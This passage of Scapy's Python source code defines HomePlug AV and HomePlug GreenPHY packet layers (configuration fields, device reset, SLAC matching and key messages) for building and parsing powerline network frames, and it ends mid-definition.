ConditionalField(PacketListField("PrescalerValues", "", PrescalerValue, length_from=lambda x: 3600), # noqa: E501 lambda pkt:(0xA30 >= pkt.__offset and 0xA34 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(StrFixedLenField("reserved_13", b"\x00" * 1484, 1484), lambda pkt:(0x1840 >= pkt.__offset and 0x1E0C <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("AllowNEKRotation", 0), lambda pkt:(0x1E0C >= pkt.__offset and 0x1E10 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("OverrideLocalNEK", 0), lambda pkt:(0x1E10 >= pkt.__offset and 0x1E14 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(StrFixedLenField("LocalNEKToUse", b"\x00" * 16, 16), lambda pkt:(0x1E14 >= pkt.__offset and 0x1E24 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("OverrideNEKRotationTimer", 0), lambda pkt:(0x1E24 >= pkt.__offset and 0x1E28 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("NEKRotationTime_Min", 0), lambda pkt:(0x1E28 >= pkt.__offset and 0x1E2C <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(StrFixedLenField("reserved_14", b"\x00" * 96, 96), lambda pkt:(0x1E2C >= pkt.__offset and 0x1E8C <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("AVLNMembership", 0), lambda pkt:(0x1E8C >= pkt.__offset and 0x1E90 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("SimpleConnectTimeout", 0), lambda pkt:(0x1E90 >= pkt.__offset and 0x1E94 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("EnableLEDThroughputIndicate", 0), lambda pkt:(0x1E94 >= pkt.__offset and 0x1E95 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("MidLEDThroughputThreshold_Mbps", 0), lambda pkt:(0x1E95 >= pkt.__offset and 0x1E96 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("HighLEDThroughputThreshold_Mbps", 0), lambda pkt:(0x1E96 >= pkt.__offset and 0x1E97 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("reserved_15", 0), lambda pkt:(0x1E97 >= pkt.__offset and 0x1E98 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("EnableUnicastQuieriesToMember", 0), lambda pkt:(0x1E98 >= pkt.__offset and 0x1E99 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("DisableMLDGroupIDCheckInMAC", 0), lambda pkt:(0x1E99 >= pkt.__offset and 0x1E9A <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XShortField("EnableReportsToNonQuerierHosts", 0), lambda pkt:(0x1E9A >= pkt.__offset and 0x1E9C <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("DisableExpireGroupMembershipInterval", 0), lambda pkt:(0x1E9C >= pkt.__offset and 0x1EA0 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("DisableLEDTestLights", 0), lambda pkt:(0x1EA0 >= pkt.__offset and 0x1EA4 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(PacketListField("GPIOMaps", "", GPIOMap, length_from=lambda x: 12), # noqa: E501 lambda pkt:(0x1EA4 >= pkt.__offset and 0x1EB0 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XLongField("reserved_16", 0), lambda pkt:(0x1EB0 >= pkt.__offset and 0x1EB8 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("EnableTrafficClass_DSCPOver", 0), lambda pkt:(0x1EB8 >= pkt.__offset and 0x1EB9 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(StrFixedLenField("TrafficClass_DSCPMatrices", b"\x00" * 64, 64), lambda pkt:(0x1EB9 >= pkt.__offset and 0x1EF9 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("GPIOControl", 0), lambda pkt:(0x1EF9 >= pkt.__offset and 0x1EFA <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(StrFixedLenField("LEDControl", b"\x00" * 32, 32), lambda pkt:(0x1EFA >= pkt.__offset and 0x1F1A <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("OverrideMinButtonPressHoldTime", 0), lambda pkt:(0x1F1A >= pkt.__offset and 0x1F1E <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(LEIntField("MinButtonPressHoldTime", 0), lambda pkt:(0x1F1E >= pkt.__offset and 0x1F22 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(StrFixedLenField("reserved_17", b"\x00" * 22, 22), lambda pkt:(0x1F22 >= pkt.__offset and 0x1F38 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("MemoryProfile", 0), lambda pkt:(0x1F38 >= pkt.__offset and 0x1F3C <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("DisableAllLEDFlashOnWarmReboot", 0), lambda pkt:(0x1F3C >= pkt.__offset and 0x1F40 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(LEIntField("UplinkLimit_bps", 0), lambda pkt:(0x1F40 >= pkt.__offset and 0x1F44 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(LEIntField("DownlinkLimit_bps", 0), lambda pkt:(0x1F44 >= pkt.__offset and 0x1F48 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("MDUStaticSNID", 0), lambda pkt:(0x1F48 >= pkt.__offset and 0x1F4C <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("MitigateEnabled", 0), lambda pkt:(0x1F4C >= pkt.__offset and 0x1F4D <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("CorrelThreshold", 0), lambda pkt:(0x1F4D >= pkt.__offset and 0x1F51 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(LEIntField("ScaledTxGain", 0), lambda pkt:(0x1F51 >= pkt.__offset and 0x1F55 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("ResourceThresholdEnabled", 0), lambda pkt:(0x1F55 >= pkt.__offset and 0x1F56 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(PacketListField("ReservedPercentageForCaps", "", ReservedPercentageForCap, length_from=lambda x: 4), # noqa: E501 lambda pkt:(0x1F56 >= pkt.__offset and 0x1F5A <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("PowerSavingMode", 0), lambda pkt:(0x1F5A >= pkt.__offset and 0x1F5B <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("PowerLEDDutyCycle", 0), lambda pkt:(0x1F5B >= pkt.__offset and 0x1F5C <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XShortField("reserved_18", 0), lambda pkt:(0x1F5C >= pkt.__offset and 0x1F5E <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(LEIntField("LinkUpDurationBeforeReset_ms", 0), lambda pkt:(0x1F5E >= pkt.__offset and 0x1F62 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(LEIntField("PowerLEDPeriod_ms", 0), lambda pkt:(0x1F62 >= pkt.__offset and 0x1F66 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(LEIntField("LinkDownDurationBeforeLowPowerMode_ms", 0), # noqa: E501 lambda pkt:(0x1F66 >= pkt.__offset and 0x1F6A <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("reserved_19", 0), lambda pkt:(0x1F6A >= pkt.__offset and 0x1F6E <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("AfeGainBusMode", 0), lambda pkt:(0x1F6E >= pkt.__offset and 0x1F6F <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("EnableDynamicPsd", 0), lambda pkt:(0x1F6F >= pkt.__offset and 0x1F70 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("ReservedPercentageForTxStreams", 0), lambda pkt:(0x1F70 >= pkt.__offset and 0x1F71 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("ReservedPercentageForRxStreams", 0), lambda pkt:(0x1F71 >= pkt.__offset and 0x1F72 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(StrFixedLenField("reserved_20", b"\x00" * 22, 22), lambda pkt:(0x1F72 >= pkt.__offset and 0x1F88 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("LegacyNetworkUpgradeEnable", 0), lambda pkt:(0x1F88 >= pkt.__offset and 0x1F8C <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("unknown", 0), lambda pkt:(0x1F8C >= pkt.__offset and 0x1F90 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(LEIntField("MMETTL_us", 0), lambda pkt:(0x1F90 >= pkt.__offset and 0x1F94 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(PacketListField("ConfigBits", "", ConfigBit, length_from=lambda x: 2), # noqa: E501 lambda pkt:(0x1F94 >= pkt.__offset and 0x1F96 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(LEIntField("TxToneMapExpiry_ms", 0), lambda pkt:(0x1F96 >= pkt.__offset and 0x1F9A <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(LEIntField("RxToneMapExpiry_ms", 0), lambda pkt:(0x1F9A >= pkt.__offset and 0x1F9E <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(LEIntField("TimeoutToResound_ms", 0), lambda pkt:(0x1F9E >= pkt.__offset and 0x1FA2 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("MissingSackThresholdForUnplugDetection", 0), # noqa: E501 lambda pkt:(0x1FA2 >= pkt.__offset and 0x1FA6 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(LEIntField("UnplugTimeout_ms", 0), lambda pkt:(0x1FA6 >= pkt.__offset and 0x1FAA <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(PacketListField("ContentionWindowTableES", "", ContentionWindowTable, length_from=lambda x: 8), # noqa: E501 lambda pkt:(0x1FAA >= pkt.__offset and 0x1FB2 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(PacketListField("BackoffDeferalCountTableES", "", BackoffDeferalCountTable, length_from=lambda x: 4), # noqa: E501 lambda pkt:(0x1FB2 >= pkt.__offset and 0x1FB6 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("GoodSoundCountThreshold", 0), lambda pkt:(0x1FB6 >= pkt.__offset and 0x1FB7 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("SoundCountThreshold_GoodSoundCountPass", 0), # noqa: E501 lambda pkt:(0x1FB7 >= pkt.__offset and 0x1FB8 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("SoundCountThreshold_GoodSoundCountFail", 0), # noqa: E501 lambda pkt:(0x1FB8 >= pkt.__offset and 0x1FB9 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XShortField("reserved_21", 0), lambda pkt:(0x1FB9 >= pkt.__offset and 0x1FBB <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("ExclusiveTxPbs_percentage", 0), lambda pkt:(0x1FBB >= pkt.__offset and 0x1FBC <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("ExclusiveRxPbs_percentage", 0), lambda pkt:(0x1FBC >= pkt.__offset and 0x1FBD <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("OptimizationBackwardCompatible", 0), lambda pkt:(0x1FBD >= pkt.__offset and 0x1FBE <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("reserved_21", 0), lambda pkt:(0x1FBE >= pkt.__offset and 0x1FBF <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("MaxPbsPerSymbol", 0), lambda pkt:(0x1FBF >= pkt.__offset and 0x1FC0 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("MaxModulation", 0), lambda pkt:(0x1FC0 >= pkt.__offset and 0x1FC1 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("ContinuousRx", 0), lambda pkt:(0x1FC1 >= pkt.__offset and 0x1FC2 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(StrFixedLenField("reserved_22", b"\x00" * 6, 6), lambda pkt:(0x1FC2 >= pkt.__offset and 0x1FC8 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("PBControlStatus", 0), lambda pkt:(0x1FC8 >= pkt.__offset and 0x1FC9 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("STAMembershipMaskEnabled", 0), lambda pkt:(0x1FC9 >= pkt.__offset and 0x1FCA <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("ExitDefaultEnabled", 0), lambda pkt:(0x1FCA >= pkt.__offset and 0x1FCB <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("RejectDefaultEnabled", 0), lambda pkt:(0x1FCB >= pkt.__offset and 0x1FCC <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("ChainingEnabled", 0), lambda pkt:(0x1FCC >= pkt.__offset and 0x1FCD <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(StrFixedLenField("VendorSpecificNMK", b"\x00" * 16, 16), lambda pkt:(0x1FCD >= pkt.__offset and 0x1FDD <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("LocalMACAddressLimit", 0), lambda pkt:(0x1FDD >= pkt.__offset and 0x1FDE <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("OverrideBridgeTableAgingTime", 0), lambda pkt:(0x1FDE >= pkt.__offset and 0x1FDF <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XShortField("LocalBridgeTableAgingTime_min", 0), lambda pkt:(0x1FDF >= pkt.__offset and 0x1FE1 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XShortField("RemoteBridgeTableAgingTime_min", 0), lambda pkt:(0x1FE1 >= pkt.__offset and 0x1FE3 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("PhySyncReference", 0), lambda pkt:(0x1FE3 >= pkt.__offset and 0x1FE7 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("reserved_23", 0), lambda pkt:(0x1FE7 >= pkt.__offset and 0x1FE8 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("reserved_24", 0), lambda pkt:(0x1FE8 >= pkt.__offset and 0x1FEC <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("reserved_25", 0), lambda pkt:(0x1FEC >= pkt.__offset and 0x1FF0 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(StrFixedLenField("reserved_26", b"\x00" * 24, 24), lambda pkt:(0x1FF0 >= pkt.__offset and 0x2008 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("OverrideDefaultLedEventBehavior", 0x80), lambda pkt:(0x2008 >= pkt.__offset and 0x2009 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("ReportToHostInfo", 0), lambda pkt:(0x2009 >= pkt.__offset and 0x200A <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(X3BytesField("reserved_27", 0), lambda pkt:(0x200A >= pkt.__offset and 0x200D <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("NumBehaviors", 0), lambda pkt:(0x200D >= pkt.__offset and 0x200E <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(PacketListField("BehaviorBlockArrayES", "", BehaviorBlockArray, length_from=lambda x: 1200), # noqa: E501 lambda pkt:(0x200E >= pkt.__offset and 0x24BE <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("NumEvents", 0), lambda pkt:(0x24BE >= pkt.__offset and 0x24BF <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(PacketListField("EventBlockArrayES", "", EventBlockArray, length_from=lambda x: 550), # noqa: E501 lambda pkt:(0x24BF >= pkt.__offset and 0x26E5 <= pkt.__offset + pkt.__length)), # noqa: E501 ] def __init__(self, packet="", offset=0x0, length=0x400): self.__offset = offset self.__length = length return super(ModulePIB, self).__init__(packet) ###################################################################### # Read MAC Memory ##################################################################### StartMACCodes = {0x00: "Success"} class StartMACRequest(Packet): name = "StartMACRequest" fields_desc = [ByteEnumField("ModuleID", 0x00, StartMACCodes), X3BytesField("reserver_1", 0x000000), LEIntField("ImgLoadStartAddr", 0x00000000), LEIntField("ImgLength", 0x00000000), LEIntField("ImgCheckSum", 0x00000000), LEIntField("ImgStartAddr", 0x00000000), ] class StartMACConfirmation(Packet): name = "StartMACConfirmation" fields_desc = [ByteEnumField("Status", 0x00, StartMACCodes), XByteField("ModuleID", 0x00), ] ###################################################################### # Reset Device ###################################################################### ResetDeviceCodes = {0x00: "Success"} class ResetDeviceRequest(Packet): name = "ResetDeviceRequest" fields_desc = [] class ResetDeviceConfirmation(Packet): name = "ResetDeviceConfirmation" fields_desc = [ByteEnumField("Status", 0x00, ResetDeviceCodes)] ###################################################################### # Read Configuration Block ###################################################################### ReadConfBlockCodes = {0x00: "Success"} class ReadConfBlockRequest(Packet): name = "ReadConfBlockRequest" fields_desc = [] CBImgTCodes = {0x00: "Generic Image", 0x01: "Synopsis configuration", 0x02: "Denali configuration", 0x03: "Denali applet", 0x04: "Runtime firmware", 0x05: "OAS client", 0x06: "Custom image", 0x07: "Memory control applet", 0x08: "Power management applet", 0x09: "OAS client IP stack", 0x0A: "OAS client TR069", 0x0B: "SoftLoader", 0x0C: "Flash layout", 0x0D: "Unknown", 0x0E: "Chain manifest", 0x0F: "Runtime parameters", 0x10: "Custom module in scratch", 0x11: "Custom module update applet"} class ConfBlock(Packet): name = "ConfBlock" fields_desc = [LEIntField("HeaderVersionNum", 0), LEIntField("ImgAddrNVM", 0), LEIntField("ImgAddrSDRAM", 0), LEIntField("ImgLength", 0), LEIntField("ImgCheckSum", 0), LEIntField("EntryPoint", 0), XByteField("HeaderMinVersion", 0x00), ByteEnumField("HeaderImgType", 0x00, CBImgTCodes), XShortField("HeaderIgnoreMask", 0x0000), LEIntField("HeaderModuleID", 0), LEIntField("HeaderModuleSubID", 0), LEIntField("AddrNextHeaderNVM", 0), LEIntField("HeaderChecksum", 0), LEIntField("SDRAMsize", 0), LEIntField("SDRAMConfRegister", 0), LEIntField("SDRAMTimingRegister_0", 0), LEIntField("SDRAMTimingRegister_1", 0), LEIntField("SDRAMControlRegister", 0), LEIntField("SDRAMRefreshRegister", 0), LEIntField("MACClockRegister", 0), LEIntField("reserved_1", 0), ] class ReadConfBlockConfirmation(Packet): name = "ReadConfBlockConfirmation" fields_desc = [ByteEnumField("Status", 0x00, ReadConfBlockCodes), FieldLenField("BlockLen", None, count_of="ConfigurationBlock", fmt="B"), # noqa: E501 PacketListField("ConfigurationBlock", None, ConfBlock, length_from=lambda pkt:pkt.BlockLen)] # noqa: E501 ###################################################################### # Write Module Data to NVM ###################################################################### class WriteModuleData2NVMRequest(Packet): name = "WriteModuleData2NVMRequest" fields_desc = [ByteEnumField("ModuleID", 0x02, ModuleIDList)] class WriteModuleData2NVMConfirmation(Packet): name = "WriteModuleData2NVMConfirmation" fields_desc = [ByteEnumField("Status", 0x0, StatusCodes), ByteEnumField("ModuleID", 0x02, ModuleIDList)] # END # class HomePlugAV(Packet): """ HomePlugAV Packet - by default => gets devices information """ name = "HomePlugAV " fields_desc = [MACManagementHeader, ConditionalField(XShortField("FragmentInfo", 0x0), FragmentCond), ConditionalField(PacketListField("VendorField", VendorMME(), VendorMME, length_from=lambda x: 3), lambda pkt:(pkt.version == 0x00))] def answers(self, other): return (isinstance(self, HomePlugAV)) bind_layers(Ether, HomePlugAV, {"type": 0x88e1}) # +----------+------------+--------------------+ # | Ethernet | HomePlugAV | Elements + Payload | # +----------+------------+--------------------+ bind_layers(HomePlugAV, GetDeviceVersion, HPtype=0xA001) bind_layers(HomePlugAV, StartMACRequest, HPtype=0xA00C) bind_layers(HomePlugAV, StartMACConfirmation, HPtype=0xA00D) bind_layers(HomePlugAV, ResetDeviceRequest, HPtype=0xA01C) bind_layers(HomePlugAV, ResetDeviceConfirmation, HPtype=0xA01D) bind_layers(HomePlugAV, NetworkInformationRequest, HPtype=0xA038) bind_layers(HomePlugAV, ReadMACMemoryRequest, HPtype=0xA008) bind_layers(HomePlugAV, ReadMACMemoryConfirmation, HPtype=0xA009) bind_layers(HomePlugAV, ReadModuleDataRequest, HPtype=0xA024) bind_layers(HomePlugAV, ReadModuleDataConfirmation, HPtype=0xA025) bind_layers(HomePlugAV, ModuleOperationRequest, HPtype=0xA0B0) bind_layers(HomePlugAV, ModuleOperationConfirmation, HPtype=0xA0B1) bind_layers(HomePlugAV, WriteModuleDataRequest, HPtype=0xA020) bind_layers(HomePlugAV, WriteModuleData2NVMRequest, HPtype=0xA028) bind_layers(HomePlugAV, WriteModuleData2NVMConfirmation, HPtype=0xA029) bind_layers(HomePlugAV, NetworkInfoConfirmationV10, HPtype=0xA039, version=0x00) # noqa: E501 bind_layers(HomePlugAV, NetworkInfoConfirmationV11, HPtype=0xA039, version=0x01) # noqa: E501 bind_layers(NetworkInfoConfirmationV10, NetworkInfoV10, HPtype=0xA039, version=0x00) # noqa: E501 bind_layers(NetworkInfoConfirmationV11, NetworkInfoV11, HPtype=0xA039, version=0x01) # noqa: E501 bind_layers(HomePlugAV, HostActionRequired, HPtype=0xA062) bind_layers(HomePlugAV, LoopbackRequest, HPtype=0xA048) bind_layers(HomePlugAV, LoopbackConfirmation, HPtype=0xA049) bind_layers(HomePlugAV, SetEncryptionKeyRequest, HPtype=0xA050) bind_layers(HomePlugAV, SetEncryptionKeyConfirmation, HPtype=0xA051) bind_layers(HomePlugAV, ReadConfBlockRequest, HPtype=0xA058) bind_layers(HomePlugAV, ReadConfBlockConfirmation, HPtype=0xA059) bind_layers(HomePlugAV, QUAResetFactoryConfirm, HPtype=0xA07D) bind_layers(HomePlugAV, GetNVMParametersRequest, HPtype=0xA010) bind_layers(HomePlugAV, GetNVMParametersConfirmation, HPtype=0xA011) bind_layers(HomePlugAV, SnifferRequest, HPtype=0xA034) bind_layers(HomePlugAV, SnifferConfirmation, HPtype=0xA035) bind_layers(HomePlugAV, SnifferIndicate, HPtype=0xA036) """ Credit song : "Western Spaguetti - We are terrorists" """ scapy-2.4.4/scapy/contrib/homepluggp.py000066400000000000000000000234571372370053500201600ustar00rootroot00000000000000#! /usr/bin/env python # This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # scapy.contrib.description = HomePlugGP Layer # scapy.contrib.status = loads from __future__ import absolute_import from scapy.packet import Packet, bind_layers from scapy.fields import ByteEnumField, ByteField, FieldLenField, \ MACField, PacketListField, ShortField, \ StrFixedLenField, XIntField, PacketField \ # This layer extends HomePlug AV one from scapy.contrib.homeplugav import HomePlugAV, QualcommTypeList # Copyright (C) HomePlugGP Layer for Scapy by FlUxIuS (Sebastien Dudek) # As HomePlug GreenPHY is a subset of HomePlug AV, that is why we use # HomePlugAV layer as a base here. HomePlugGPTypes = {0x6008: "CM_SET_KEY_REQ", 0x6009: "CM_SET_KEY_CNF", 0x6064: "CM_SLAC_PARM_REQ", 0x6065: "CM_SLAC_PARM_CNF", 0x606e: "CM_ATTEN_CHAR_IN", 0x606a: "CM_START_ATTEN_CHAR_IND", 0x606f: "CM_ATTEN_CHAR_RSP", 0x6076: "CM_MNBC_SOUND_IND", 0x607c: "CM_SLAC_MATCH_REQ", 0x607d: "CM_SLAC_MATCH_CNF", 0x6086: "CM_ATTENUATION_CHARACTERISTICS_MME"} QualcommTypeList.update(HomePlugGPTypes) HPGP_codes = {0x0: "Success"} KeyType_list = {0x01: "NMK (AES-128)"} ###################################################################### # SLAC operations ###################################################################### class CM_SLAC_PARM_REQ(Packet): name = "CM_SLAC_PARM_REQ" fields_desc = [ByteField("ApplicationType", 0x0), ByteField("SecurityType", 0x0), StrFixedLenField("RunID", b"\x00" * 8, 8)] class CM_SLAC_PARM_CNF(Packet): name = "CM_SLAC_PARM_CNF" fields_desc = [MACField("MSoundTargetMAC", "00:00:00:00:00:00"), ByteField("NumberMSounds", 0x0), ByteField("TimeOut", 0x0), ByteField("ResponseType", 0x0), MACField("ForwardingSTA", "00:00:00:00:00:00"), ByteField("ApplicationType", 0x0), ByteField("SecurityType", 0x0), StrFixedLenField("RunID", b"\x00" * 8, 8)] class HPGP_GROUP(Packet): name = "HPGP_GROUP" fields_desc = [ByteField("group", 0x0)] def extract_padding(self, p): return "", p class VS_ATTENUATION_CHARACTERISTICS_MME(Packet): name = "VS_ATTENUATION_CHARACTERISTICS_MME" fields_desc = [MACField("EVMACAddress", "00:00:00:00:00:00"), FieldLenField("NumberOfGroups", None, count_of="Groups", fmt="B"), ByteField("NumberOfCarrierPerGroupe", 0), StrFixedLenField("Reserved", b"\x00" * 7, 7), PacketListField("Groups", "", HPGP_GROUP, length_from=lambda pkt: pkt.NumberOfGroups)] class CM_ATTENUATION_CHARACTERISTICS_MME(Packet): name = "CM_ATTENUATION_CHARACTERISTICS_MME" fields_desc = [MACField("EVMACAddress", "00:00:00:00:00:00"), FieldLenField("NumberOfGroups", None, count_of="Groups", fmt="B"), ByteField("NumberOfCarrierPerGroupe", 0), PacketListField("Groups", "", HPGP_GROUP, length_from=lambda pkt: pkt.NumberOfGroups)] class CM_ATTEN_CHAR_IND(Packet): name = "CM_ATTEN_CHAR_IND" fields_desc = [ByteField("ApplicationType", 0x0), ByteField("SecurityType", 0x0), MACField("SourceAdress", "00:00:00:00:00:00"), StrFixedLenField("RunID", b"\x00" * 8, 8), StrFixedLenField("SourceID", b"\x00" * 17, 17), StrFixedLenField("ResponseID", b"\x00" * 17, 17), ByteField("NumberOfSounds", 0x0), FieldLenField("NumberOfGroups", None, count_of="Groups", fmt="B"), PacketListField("Groups", "", HPGP_GROUP, length_from=lambda pkt: pkt.NumberOfGroups)] class CM_ATTEN_CHAR_RSP(Packet): name = "CM_ATTEN_CHAR_RSP" fields_desc = [ByteField("ApplicationType", 0x0), ByteField("SecurityType", 0x0), MACField("SourceAdress", "00:00:00:00:00:00"), StrFixedLenField("RunID", b"\x00" * 8, 8), StrFixedLenField("SourceID", b"\x00" * 17, 17), StrFixedLenField("ResponseID", b"\x00" * 17, 17), ByteEnumField("Result", 0x0, HPGP_codes)] class SLAC_varfield(Packet): name = "SLAC_varfield" fields_desc = [StrFixedLenField("EVID", b"\x00" * 17, 17), MACField("EVMAC", "00:00:00:00:00:00"), StrFixedLenField("EVSEID", b"\x00" * 17, 17), MACField("EVSEMAC", "00:00:00:00:00:00"), StrFixedLenField("RunID", b"\x00" * 8, 8), StrFixedLenField("RSVD", b"\x00" * 8, 8)] class CM_SLAC_MATCH_REQ(Packet): name = "CM_SLAC_MATCH_REQ" fields_desc = [ByteField("ApplicationType", 0x0), ByteField("SecurityType", 0x0), FieldLenField("MatchVariableFieldLen", None, count_of="VariableField", fmt="H"), PacketField("VariableField", SLAC_varfield(), SLAC_varfield)] class SLAC_varfield_cnf(Packet): name = "SLAC_varfield" fields_desc = [StrFixedLenField("EVID", b"\x00" * 17, 17), MACField("EVMAC", "00:00:00:00:00:00"), StrFixedLenField("EVSEID", b"\x00" * 17, 17), MACField("EVSEMAC", "00:00:00:00:00:00"), StrFixedLenField("RunID", b"\x00" * 8, 8), StrFixedLenField("RSVD", b"\x00" * 8, 8), StrFixedLenField("NetworkID", b"\x00" * 7, 7), ByteField("Reserved", 0x0), StrFixedLenField("NMK", b"\x00" * 16, 16)] class CM_SLAC_MATCH_CNF(Packet): name = "CM_SLAC_MATCH_CNF" fields_desc = [ByteField("ApplicationType", 0x0), ByteField("SecurityType", 0x0), FieldLenField("MatchVariableFieldLen", None, count_of="VariableField", fmt="H"), PacketField("VariableField", SLAC_varfield_cnf(), SLAC_varfield_cnf)] class CM_START_ATTEN_CHAR_IND(Packet): name = "CM_START_ATTEN_CHAR_IND" fields_desc = [ByteField("ApplicationType", 0x0), ByteField("SecurityType", 0x0), ByteField("NumberOfSounds", 0x0), ByteField("TimeOut", 0x0), ByteField("ResponseType", 0x0), MACField("ForwardingSTA", "00:00:00:00:00:00"), StrFixedLenField("RunID", b"\x00" * 8, 8)] class CM_MNBC_SOUND_IND(Packet): name = "CM_MNBC_SOUND_IND" fields_desc = [ByteField("ApplicationType", 0x0), ByteField("SecurityType", 0x0), StrFixedLenField("SenderID", b"\x00" * 17, 17), ByteField("Countdown", 0x0), StrFixedLenField("RunID", b"\x00" * 8, 8), StrFixedLenField("RSVD", b"\x00" * 8, 8), StrFixedLenField("RandomValue", b"\x00" * 16, 16)] ###################################################################### # Set keys for GP ###################################################################### class CM_SET_KEY_REQ(Packet): name = "CM_SET_KEY_REQ" fields_desc = [ByteEnumField("KeyType", 0x0, 